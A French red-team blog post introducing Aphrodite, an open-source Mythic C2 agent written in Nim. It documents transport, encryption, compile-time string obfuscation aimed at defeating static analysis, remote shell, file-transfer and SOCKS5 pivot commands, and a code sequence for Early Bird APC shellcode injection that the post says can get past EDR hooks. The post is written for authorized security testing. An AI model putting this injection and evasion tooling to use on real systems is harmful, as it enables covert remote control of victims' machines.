Article · Red Team

J'ai codé mon propre agent Mythic en Nim

Inspiré par Athena, j'ai voulu comprendre comment un agent C2 fonctionne vraiment de l'intérieur. Résultat : Aphrodite, un agent Mythic cross-platform en Nim. Binaire natif, chiffrement AES-256 + EKE RSA-2048, obfuscation des strings à la compilation, EarlyBird APC, SOCKS5 et 42 commandes.

Category: Red Team
Tags: Mythic · C2 · Nim
Date: 2026-04-07

L'idée

Tout a commencé en lisant l'article de Scottie Austin sur Athena, son agent Mythic écrit en .NET 6. Ce qui m'avait marqué, c'était sa démarche : prendre Mythic comme base pour ne pas avoir à gérer l'UI et le back-end, et se concentrer sur l'agent lui-même. J'avais exactement la même envie. Coder un agent C2, comprendre comment ça marche de l'intérieur, sans passer des semaines sur du front-end.

Athena m'a beaucoup appris sur la structure d'un agent Mythic. J'ai épluché son code pour comprendre le protocole de checkin, le format des messages, comment les commandes sont dispatchées. Mais j'avais envie de faire quelque chose de différent sur la stack technique. Athena repose sur .NET 6, ce qui est une excellente idée pour quelqu'un à l'aise avec C#. Moi, j'avais envie d'explorer Nim, un langage que je trouvais particulièrement bien adapté à cet use-case : compilation vers du C natif, pas de runtime, et un cross-compile vers Windows depuis Linux qui fonctionne vraiment.

Les objectifs étaient clairs dès le départ. Un binaire natif sans dépendances sur la cible, support Linux et Windows depuis le même codebase, un modèle de chiffrement sérieux avec échange de clé à runtime, et assez de commandes pour être utile en opération réelle. Pas de plugin system ni de chargement dynamique, à l'inverse d'Athena. Tout est compilé statiquement. Moins flexible sur le papier, mais beaucoup plus simple à maintenir et à prédire.

Le nom vient de la déesse grecque de la beauté. Un binaire natif compilé proprement, c'est quand même plus élégant qu'un interpréteur embarqué.

Sommaire

  1. Qu'est-ce qu'Aphrodite ?
  2. Installation
  3. Profils C2 : HTTP et WebSocket
  4. Modèle de chiffrement : PSK, EKE, Plaintext
  5. Obfuscation des strings
  6. Commandes
  7. Early Bird APC injection (Windows)
  8. SOCKS5
  9. Options de build
  10. Considérations OPSEC
  11. Limitations et TODO

1. Qu'est-ce qu'Aphrodite ?

Aphrodite agent logo

Aphrodite est un agent Mythic C2 léger, cross-platform, écrit en Nim et conçu pour Mythic 3.0+. Il se compile vers un binaire natif, sans aucun runtime Nim ni dépendance sur la cible. Linux et Windows sont supportés depuis le même codebase, et les binaires Windows sont cross-compilés depuis Linux via mingw-w64.

L'agent supporte deux profils C2 (HTTP et WebSocket), trois modes de chiffrement (PSK, EKE, plaintext), une double couche d'obfuscation des strings, et 42 commandes built-in couvrant la reconnaissance, les opérations filesystem, l'exécution, le transfert de fichiers, la gestion de l'environnement et le contrôle de l'agent.

Nim compile vers du C, qui compile vers un binaire natif. Sur Linux, la chaîne standard gcc est utilisée. Sur Windows (cross-compile depuis Linux), x86_64-w64-mingw32-gcc prend le relais. Au final, on obtient un ELF ou un PE autonome, sans interpréteur.

La structure du projet côté agent code suit une organisation par responsabilité :

Arborescence agent_code/src/

src/
├── aphrodite.nim          # Point d'entrée, instancie et lance l'agent
├── config.nim             # Généré au build : UUID, C2 URL, PSK, killdate...
├── core/
│   ├── agent.nim          # Boucle principale C2, checkin, dispatch des tasks
│   ├── jobs.nim           # Gestionnaire de jobs interactifs (shell sessions)
│   ├── types.nim          # Types partagés (AgentState, TaskResult, SendMsg...)
│   └── utils.nim          # Helpers système (username, hostname, IP, PID...)
├── crypto/
│   ├── aes.nim            # AES-256-CBC + HMAC-SHA256 (chiffrement des messages)
│   ├── eke.nim            # EKE, échange de clé RSA-2048 via OpenSSL
│   ├── obf.nim            # Déobfuscation runtime des config strings (XOR / AES)
│   └── strenc.nim         # Macro hidstr, obfuscation compile-time des strings
├── transport/
│   ├── http.nim           # Transport HTTP (POST, format Mythic)
│   └── websocket.nim      # Transport WebSocket (RFC 6455 minimal, stdlib only)
├── proxy/
│   ├── socks5.nim         # Parser SOCKS5 CONNECT (RFC 1928)
│   └── socks_mgr.nim      # Gestionnaire de connexions TCP pour le proxy
└── commands/
    ├── registry.nim       # Registre des commandes (map nom -> handler)
    ├── filesystem/        # ls, cat, cd, pwd, mkdir, rm, mv, cp, tail, chmod...
    ├── recon/             # whoami, ps, hostname, ifconfig, arp, nslookup...
    ├── execution/         # shell, psh, sudo, runas, earlybird
    ├── transfer/          # download, upload
    ├── env/               # env, getenv, setenv
    └── control/           # sleep, exit, kill, echo, socks, jobs, jobkill, config

2. Installation

Depuis un serveur Mythic déjà installé, une seule commande suffit :

Installation depuis GitHub

cd /opt/Mythic
./mythic-cli install github https://github.com/0xbbuddha/aphrodite

Mythic télécharge le repo, build l'image Docker du container Aphrodite, et enregistre le payload type dans l'interface. Une fois installé, Aphrodite apparaît dans Payload Types et est prêt à être utilisé pour générer des payloads.

Le container Aphrodite embarque Nim, nimcrypto et mingw-w64. Tout le toolchain de compilation est isolé dedans, donc pas besoin d'installer quoi que ce soit sur le serveur Mythic lui-même.

Note sur nimcrypto : la bibliothèque nimcrypto est nécessaire pour le chiffrement AES. Le builder vérifie sa présence dans /opt/nim/lib/nimcrypto/ au moment du build. Si elle est absente (container non rebuild depuis une modification du Dockerfile), le build échoue avec un message explicite :

Résultat

Error: nimcrypto not found at /opt/nim/lib/nimcrypto/.
Run in the container:
  git clone --depth 1 https://github.com/cheatfate/nimcrypto.git /tmp/nc
  cp -r /tmp/nc/nimcrypto /opt/nim/lib/nimcrypto
Or rebuild the container: sudo ./mythic-cli build aphrodite

3. Profils C2 : HTTP et WebSocket

Aphrodite supporte deux profils C2. Le profil est sélectionné au moment de la génération du payload dans l'UI Mythic. Un seul profil par binaire, compilé via flag de compilation Nim.

HTTP

Le transport HTTP utilise le profil HTTP standard de Mythic. Toutes les communications passent par des POST. Le format des messages suit l'enveloppe Mythic :

Format d'un message HTTP (PSK mode)

POST /agent_endpoint HTTP/1.1
Content-Type: application/octet-stream
User-Agent: <configuré au build>

base64(
  uuid[36 bytes]            <- UUID de l'agent (padded avec )
  IV[16 bytes]              <- IV aléatoire AES-CBC
  ciphertext[variable]      <- JSON chiffré en AES-256-CBC
  HMAC-SHA256[32 bytes]     <- HMAC sur IV + ciphertext
)

En mode plaintext (pas de PSK), l'enveloppe devient simplement base64(uuid[36] + json_bytes). Mythic reçoit, vérifie, décrypte, et renvoie une réponse dans le même format.

WebSocket

Le transport WebSocket maintient une connexion persistante vers le serveur Mythic. L'implémentation utilise uniquement la stdlib Nim, sans dépendance externe. C'est un RFC 6455 minimal, suffisant pour les échanges avec Mythic. L'enveloppe des messages suit le format Mythic WebSocket :

Enveloppe WebSocket

// Envoi agent -> Mythic
{"client": true, "data": "<base64_uuid_encrypted>", "tag": ""}

// Réception Mythic -> agent
{"client": false, "data": "<base64_uuid_encrypted>", "tag": ""}

Le contenu du champ data est identique au body HTTP, même format d'enveloppe uuid + chiffrement. Le transport est complètement transparent pour le reste de l'agent.

Le profil est sélectionné à la compilation via un define Nim :

Sélection du profil C2 à la compilation

# HTTP (défaut)
nim c src/aphrodite.nim

# WebSocket
nim c -d:c2ProfileWs src/aphrodite.nim

4. Modèle de chiffrement : PSK, EKE, Plaintext

Aphrodite supporte trois modes de chiffrement, configurés dans l'UI Mythic au moment de la génération du payload.

ModeDescriptionPlateformes
PSKAES-256-CBC + HMAC-SHA256, clé pré-partagée compilée dans le binaireLinux, Windows
EKEÉchange de clé RSA-2048 au staging, clé AES de session négociée à runtimeLinux uniquement
PlaintextPas de chiffrement (AESPSK vide), pour le lab et le debug uniquementLinux, Windows

PSK (Pre-Shared Key)

La clé AES est générée par Mythic, encodée en base64, et compilée dans le binaire via config.nim. Au démarrage, l'agent décode la clé base64 et l'utilise pour chiffrer tous les messages. Le schéma est AES-256-CBC avec un IV aléatoire par message, et HMAC-SHA256 pour l'intégrité.

Dans l'UI Mythic, PSK correspond à décocher Encrypted Key Exchange dans les paramètres du profil C2.

EKE (Encrypted Key Exchange)

Le mode EKE suit le protocole staging_rsa de Mythic. L'agent génère une paire RSA-2048 à runtime via OpenSSL, envoie sa clé publique au serveur Mythic, et reçoit en retour une clé AES de session chiffrée avec cette clé publique. Toutes les communications suivantes utilisent cette clé AES négociée.

core/agent.nim : séquence EKE (staging_rsa)

// 1. Générer la paire RSA-2048
var ctx = ekaGenerate()

// 2. Envoyer la clé publique (DER base64) au serveur
let jsonBody = {"action": "staging_rsa",
                "pub_key": ctx.ekaPublicKeyB64(),
                "session_id": sessionId}

// 3. Mythic retourne : uuid + session_key chiffrée RSA-OAEP
let aesKey = ctx.ekaDecryptSessionKey(resp["session_key"])

// 4. Toutes les comms suivantes utilisent aesKey (AES-256-CBC)

L'initialisation EKE nécessite OpenSSL au link. Pour les targets Linux, OpenSSL est linké statiquement dans le binaire (-Wl,-Bstatic -lssl -lcrypto). La chaîne mingw-w64 utilisée pour cross-compiler vers Windows n'embarque pas OpenSSL, donc EKE est automatiquement désactivé sur les builds Windows. Le builder le signale et bascule en PSK.

Le mode EKE protège contre la réutilisation de la clé PSK. Même si un analyste extrait la PSK du binaire, il ne peut pas déchiffrer les sessions EKE car la clé AES de session est unique par exécution et n'est jamais stockée en dur.

5. Obfuscation des strings

Aphrodite utilise deux couches d'obfuscation indépendantes.

Couche 1 : hidstr (toujours active)

hidstr est une macro Nim qui chiffre chaque string littérale à la compilation par XOR avec une clé dérivée de la position. À runtime, la chaîne est décodée juste avant utilisation. Aucune string en clair n'apparaît dans le binaire compilé.

crypto/strenc.nim : macro hidstr

macro hidstr*(s: static string): string =
  ## Rolling key: k(i) = 0x5F xor byte((i * 7) and 0xFF)
  ## Chaque byte XOR'd au compile-time, décodé au runtime.
  let n = s.len
  var arrNode = nnkBracket.newTree()
  for i in 0..<n:
    let k = byte(0x5F) xor byte((i * 7) and 0xFF)
    arrNode.add(newLit(byte(s[i]) xor k))
  result = quote do:
    block:
      const enc: array[`nLit`, byte] = `arrNode`
      var dec = newString(`nLit`)
      for i in 0..<`nLit`:
        dec[i] = char(enc[i] xor (byte(0x5F) xor byte((i * 7) and 0xFF)))
      dec

Cette macro est utilisée sur toutes les strings sensibles du codebase : noms de commandes, clés de protocole Mythic (checkin, get_tasking, staging_rsa), syscalls (/bin/sh -c, cmd.exe /c, hostname, id -un), noms de variables d'environnement, etc.

Exemple d'utilisation dans le codebase

// strings(1) ne verra aucune de ces chaînes en clair
proc getUsername*(): string =
  result = getEnv(hidstr("USER"), getEnv(hidstr("LOGNAME"), ""))

proc getHostname*(): string =
  let (output, _) = execCmdEx(hidstr("hostname"))

// Protocole Mythic, aussi obfusqué
let msg = %*{"action": hidstr("checkin"), "uuid": ag.payloadUUID}

Couche 2 : obfuscation des config strings (optionnelle)

En parallèle, le builder peut encoder les valeurs de configuration (C2 URL, UUID, PSK, killdate, User-Agent) dans config.nim avant compilation. L'option obfuscation au build accepte trois valeurs :

OptionComportement
noneStrings de config en clair dans config.nim, protégées uniquement par hidstr
xorStrings de config XOR-encodées avec une clé aléatoire de 16 bytes, décodées à runtime via obf.nim
aesStrings de config chiffrées en AES-128-CBC, décodées à runtime via obf.nim

L'encodage est fait par le builder Python au moment de la génération du payload, avec une clé et un IV aléatoires à chaque build. Deux binaires générés avec les mêmes paramètres auront des représentations différentes de leurs config strings dans le code objet.

config.nim généré en mode obfuscation=xor (extrait)

import crypto/obf
const
  obfKey      = [0x3a'u8, 0x7f'u8, 0x12'u8, ...]   # clé aléatoire 16 bytes
  encAgentUUID = [0x4e'u8, 0x2b'u8, 0x91'u8, ...]   # UUID XOR-encodé
  encC2BaseUrl = [0x71'u8, 0x05'u8, 0xc3'u8, ...]   # URL XOR-encodée
  ...

let AgentUUID* = xorDecode(encAgentUUID, obfKey)
let C2BaseUrl* = xorDecode(encC2BaseUrl, obfKey)
Les deux couches sont indépendantes et cumulatives. hidstr obfusque toutes les strings du code source au niveau macro Nim (toujours actif), et l'option obfuscation encode en plus les valeurs de configuration au niveau du builder Python. Un strings(1) sur le binaire final ne révèle ni les commandes, ni les clés de protocole, ni les paramètres de configuration.

6. Commandes

Aphrodite embarque 42 commandes organisées en six catégories. Toutes sont enregistrées dans un registre central au démarrage de l'agent. Le dispatch se fait par lookup du nom de commande dans ce registre, sans aucun switch/case en dur.

Filesystem

CommandeDescription
catAfficher le contenu d'un fichier
cdChanger de répertoire courant
cpCopier un fichier ou dossier
mvDéplacer / renommer
rmSupprimer un fichier ou dossier
lsLister le contenu d'un répertoire
mkdirCréer un répertoire
pwdAfficher le répertoire courant
tailAfficher les dernières lignes d'un fichier
findRechercher des fichiers par nom/pattern
writeÉcrire du contenu dans un fichier
chmodModifier les permissions (Linux)
chownModifier le propriétaire (Linux)
drivesLister les lecteurs montés

Reconnaissance

CommandeDescription
whoamiUtilisateur courant
hostnameNom de la machine
psLister les processus
ifconfigInterfaces réseau et adresses IP
arpTable ARP
nslookupRésolution DNS
netstatConnexions réseau actives
uptimeUptime du système

Exécution

CommandeDescriptionPlateformes
shellExécuter une commande shell (/bin/sh ou cmd.exe)Linux, Windows
pshExécuter via PowerShellWindows
sudoExécuter avec sudoLinux
runasExécuter en tant qu'un autre utilisateurLinux, Windows
earlybirdEarly Bird APC injectionWindows uniquement

Transfert de fichiers

CommandeDescription
downloadTélécharger un fichier depuis la cible vers Mythic
uploadUploader un fichier de Mythic vers la cible
wgetTélécharger une URL HTTP vers la cible
curlEffectuer une requête HTTP depuis la cible

Environnement et contrôle

CommandeDescription
envLister toutes les variables d'environnement
getenvLire une variable d'environnement
setenvDéfinir une variable d'environnement
sleepModifier l'intervalle de sleep et le jitter
configAfficher ou modifier la configuration de l'agent
jobsLister les jobs interactifs actifs
jobkillTuer un job interactif
killTuer un processus par PID
echoRetourner un message (test de connectivité)
socksDémarrer ou arrêter le proxy SOCKS5
exitTerminer l'agent

7. Early Bird APC injection (Windows)

La commande earlybird implémente la technique d'injection Early Bird APC, disponible uniquement sur les agents Windows. Le principe : créer un processus en état suspendu, y écrire du shellcode via WriteProcessMemory, queueer une APC sur le thread principal, puis résumer le processus. Le shellcode s'exécute avant même que le point d'entrée du processus ne soit appelé.

Séquence Early Bird (commands/execution/earlybird.nim)

// 1. Créer le processus cible en état suspendu
CreateProcessA(nil, processPath, ..., CREATE_SUSPENDED, ..., &pi)

// 2. Allouer de la mémoire RWX dans le processus cible
let remoteMem = VirtualAllocEx(pi.hProcess, nil, shellcode.len,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE)

// 3. Écrire le shellcode dans la mémoire allouée
WriteProcessMemory(pi.hProcess, remoteMem, &shellcode[0], shellcode.len, &written)

// 4. Queueer une APC pointant vers le shellcode sur le thread suspendu
QueueUserAPC(remoteMem, pi.hThread, 0)

// 5. Résumer le processus, le shellcode s'exécute avant l'entry point
ResumeThread(pi.hThread)

La commande prend deux paramètres : le chemin du processus cible et le shellcode encodé en base64. Le processus cible doit exister sur la machine (par exemple C:\Windows\System32\notepad.exe).

L'avantage d'Early Bird par rapport à l'injection classique : le shellcode s'exécute dans la fenêtre de démarrage du processus, avant que les hooks EDR soient généralement en place dans le processus cible. C'est une technique documentée, mais encore efficace contre une bonne partie des solutions de détection. La limitation actuelle est l'absence d'un loader dédié, qui sera ajouté dans une prochaine version.

8. SOCKS5

Aphrodite supporte le proxy SOCKS5 intégré à Mythic. Une fois activé avec la commande socks start, l'agent agit comme relais TCP : les datagrams SOCKS5 arrivent via le canal C2 depuis Mythic, l'agent ouvre les connexions TCP correspondantes sur le réseau de la cible, et renvoie les données dans l'autre sens.

Activation du proxy SOCKS5

// Depuis l'UI Mythic
socks start      // port par défaut Mythic
socks stop       // arrêter le proxy

L'implémentation parse les requêtes CONNECT SOCKS5 (RFC 1928) avec support IPv4, IPv6 et noms de domaine. Mythic gère la négociation SOCKS5 avec le client (proxychains, navigateur…). Le premier datagram reçu par l'agent est déjà la requête CONNECT parsée.

proxy/socks5.nim : types d'adresses supportés

case atyp
of 0x01:  # IPv4, 4 bytes addr + 2 bytes port
  let ip = $byte(data[4]) & "." & $byte(data[5]) & "." & ...
of 0x03:  # Domain name, 1 byte length + N bytes + 2 bytes port
  let host = data[5 ..< 5 + nameLen]  # résolu par getAddrInfo
of 0x04:  # IPv6, 16 bytes addr + 2 bytes port
  ...

La boucle C2 principale intègre les datagrams SOCKS de manière native. Ils voyagent dans les mêmes messages get_tasking que les tâches normales, sous la clé socks du JSON Mythic.

9. Options de build

Les options de build sont configurables dans l'UI Mythic au moment de la génération du payload.

OptionTypeDéfautDescription
target_osChoicelinuxCible : linux ou windows
architectureChoiceamd64Architecture cible (amd64 uniquement)
debugBooleanfalseActive les logs verbeux dans l'agent (binaire plus gros)
static_binaryBooleanfalseLink statique, aucune dépendance shared lib sur la cible
obfuscationChoicenoneObfuscation des config strings : none, xor, ou aes

En mode release (debug=false), Nim compile avec -d:release -d:strip, ce qui active les optimisations et supprime les symboles de debug. Le flag --opt:size est toujours présent pour minimiser la taille du binaire.

Commande nim générée par le builder (linux, PSK, xor)

nim c
  --opt:size
  --verbosity:0 --hints:off --warnings:off
  --threads:on
  -d:release -d:strip
  -d:ssl
  --out:/tmp/aphrodite_build_xxx/output/aphrodite
  /tmp/aphrodite_build_xxx/aphrodite/src/aphrodite.nim

Pour les builds Windows (cross-compile), les flags mingw sont ajoutés automatiquement :

Flags supplémentaires pour Windows (cross-compile)

--os:windows --cpu:amd64 -d:mingw
--gcc.exe:x86_64-w64-mingw32-gcc
--gcc.linkerexe:x86_64-w64-mingw32-gcc
-d:ssl -d:useWinssl

10. Considérations OPSEC

Binaire natif, pas de runtime

Pas d'interpréteur Python, pas de CLR .NET, pas de JVM. Le binaire Aphrodite est un ELF ou PE compilé natif. La surface de détection liée au runtime est nulle. Ça réduit aussi les artefacts système : pas de processus interpréteur visible dans la liste des processus.

strings(1) et analyse statique

Grâce à hidstr, un strings(1) sur le binaire ne révèle pas les noms de commandes, les clés de protocole Mythic, les syscalls utilisés, ni les paramètres de configuration (avec l'option obfuscation activée). L'analyse statique basique ne suffit pas pour comprendre le comportement de l'agent.

Kill date

Un kill date peut être configuré au build. À chaque itération de la boucle C2, l'agent vérifie la date courante et s'arrête proprement si elle est dépassée. Utile pour les opérations time-boxed et pour s'assurer qu'un agent oublié ne reste pas actif indéfiniment.

Sleep et jitter

L'intervalle de sleep et le pourcentage de jitter sont configurables au build et modifiables à runtime via la commande sleep. Un jitter de 20% sur un intervalle de 30 secondes introduit une variation aléatoire de ±6 secondes, suffisant pour casser les patterns de timing réguliers qu'une détection comportementale chercherait.

core/agent.nim : calcul du sleep avec jitter

proc sleepWithJitter(ag: AphroditeAgent) =
  var ms = ag.state.sleepInterval * 1000
  if ag.state.jitter > 0:
    let reduction = int(float(ms) * float(ag.state.jitter) / 100.0 * rand(1.0))
    ms = max(100, ms - reduction)
  sleep(ms)

Retry au checkin

Si le checkin échoue (serveur pas encore disponible, réseau instable), l'agent réessaie jusqu'à 10 fois avec un backoff linéaire de 5s par retry, plafonné à 60s. Après 10 tentatives sans succès, il s'arrête proprement.

11. Limitations et TODO

EKE Linux only

Le mode EKE nécessite OpenSSL au link et n'est supporté que pour les cibles Linux. Les builds Windows tombent automatiquement en PSK. Une solution serait d'utiliser une bibliothèque RSA pure-Nim sans dépendance OpenSSL, mais ça n'est pas encore implémenté.

Cross-compile Windows

Les binaires Windows sont cross-compilés depuis Linux avec mingw-w64. Certains edge cases autour des APIs Windows peuvent se comporter différemment d'une compilation native MSVC. À garder en tête si vous observez des comportements inattendus sur des versions spécifiques de Windows.

Browser scripts manquants

Certaines commandes retournent du texte brut alors qu'elles bénéficieraient d'une vue structurée dans l'UI Mythic. Les browser scripts JavaScript pour netstat, ifconfig et jobs ne sont pas encore implémentés.

Architecture amd64 uniquement

Seule l'architecture amd64 est supportée pour l'instant. Le support arm64 (Raspberry Pi, serveurs ARM) serait un ajout utile, notamment pour les environnements cloud.

Ce que j'en retire

Aphrodite n'est pas un projet one-shot qu'on publie et qu'on oublie. L'objectif est d'en faire un vrai agent maintenu, dans la lignée d'Athena. Il y a déjà une liste de choses à ajouter : loader, support EKE sur Windows, browser scripts, arm64... et probablement des bugs que je n'ai pas encore croisés. C'est pour ça que je l'ai publié plutôt que de le garder dans un coin.

Coder Aphrodite m'a surtout appris comment Mythic fonctionne vraiment de l'intérieur : staging, checkin, dispatch des tasks, format des réponses, SOCKS, interactive jobs. L'article d'Athena m'avait donné envie de me lancer, mais c'est en implémentant chaque message JSON moi-même que j'ai vraiment compris comment le framework tourne.

Nim s'est avéré un bon choix. La compilation vers du C natif donne un binaire propre, le cross-compile vers Windows fonctionne sans friction, et le système de macros permet d'implémenter hidstr de manière transparente. Le seul vrai point de friction reste la gestion d'OpenSSL pour EKE, qui ne scale pas vers Windows. C'est sur ma liste.

Un merci à Scottie Austin pour Athena et à its-a-feature pour Mythic. Sans ces deux projets, Aphrodite n'existerait pas.

Le code source est disponible sur github.com/0xbbuddha/aphrodite. Pour authorized security testing uniquement.